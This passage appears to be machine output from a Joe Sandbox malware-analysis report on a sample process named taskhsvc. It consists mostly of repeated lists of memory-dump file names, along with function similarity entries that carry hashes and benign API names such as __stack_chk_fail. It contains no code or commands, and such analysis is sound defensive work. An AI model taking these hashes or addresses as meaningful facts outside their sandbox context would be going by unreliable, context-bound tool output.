                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free
                                        • String ID:
                                        • API String ID: 2817809126-0
                                        • Opcode ID: 70c692832671373c47918fdb11312eaae95e09263925be138dadc69b4a05daa8
                                        • Instruction ID: 584013be603d30de10422c465d6fd832875332929c2be27f89082bc4ea588b94
                                        • Opcode Fuzzy Hash: 70c692832671373c47918fdb11312eaae95e09263925be138dadc69b4a05daa8
                                        • Instruction Fuzzy Hash: E2F07478E006099FCB00EFA8D5859AEBBF4EF09304F458459E954EB351E734E842CFA5
                                        Function 00D2E7FD Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D2E618: free.MSVCRT ref: 00D2E7DC
                                          • Part of subcall function 00D2E618: __stack_chk_fail.LIBSSP-0 ref: 00D2E7F6
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2E852
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free
                                        • String ID:
                                        • API String ID: 2817809126-0
                                        • Opcode ID: 3c8f194f565cad6094a75a80d879cfcb16569111faaa7359751cbf873c5b83b4
                                        • Instruction ID: 6f479b425e0ce3e170b9dc399ca5fa58edf6dd7be9c2d4ab8a2eee31f478ea21
                                        • Opcode Fuzzy Hash: 3c8f194f565cad6094a75a80d879cfcb16569111faaa7359751cbf873c5b83b4
                                        • Instruction Fuzzy Hash: 9FF0A474E002299FCF00DFA8C5556AEFBF0FF58304F058919E995AB380E774A901CBA5
                                        Function 00D170E4 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D17141: __stack_chk_fail.LIBSSP-0 ref: 00D17214
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D1713A
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID:
                                        • API String ID: 4216919130-0
                                        • Opcode ID: 9da60e18adaff83b40242af2312817b298992c948a2e571cb13c9d568b4c8452
                                        • Instruction ID: b25490f6b3c0381a77903b2e316c35071cbdbfc8f621a629dc5335265cb7d79e
                                        • Opcode Fuzzy Hash: 9da60e18adaff83b40242af2312817b298992c948a2e571cb13c9d568b4c8452
                                        • Instruction Fuzzy Hash: D5F092B4A04309AFCB40DFA8C58168EBBF0FB48314F018419E958EB301E375E9418FA5
                                        Function 00BD4CDA Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00BF21C1: abort.MSVCRT ref: 00BF2287
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BD4D29
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID:
                                        • API String ID: 3276312271-0
                                        • Opcode ID: 7d33e589c9ce113618f032e83fc7947d06f2eae236e3138fdc66a6dbe8bfe51f
                                        • Instruction ID: b9b0053274d326305afef1f5d6ecd5d23d2485fbd4a9881045fbb91f95310d14
                                        • Opcode Fuzzy Hash: 7d33e589c9ce113618f032e83fc7947d06f2eae236e3138fdc66a6dbe8bfe51f
                                        • Instruction Fuzzy Hash: 26F0FFB8E04209AFCF40DFA9C581A9EBBF0FB49314F418869E958E7340E374E9118F65
                                        Function 00BC5FA6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00BC7086: __stack_chk_fail.LIBSSP-0 ref: 00BC7211
                                          • Part of subcall function 00C581BD: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00BC6001), ref: 00C581E5
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC63EC
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
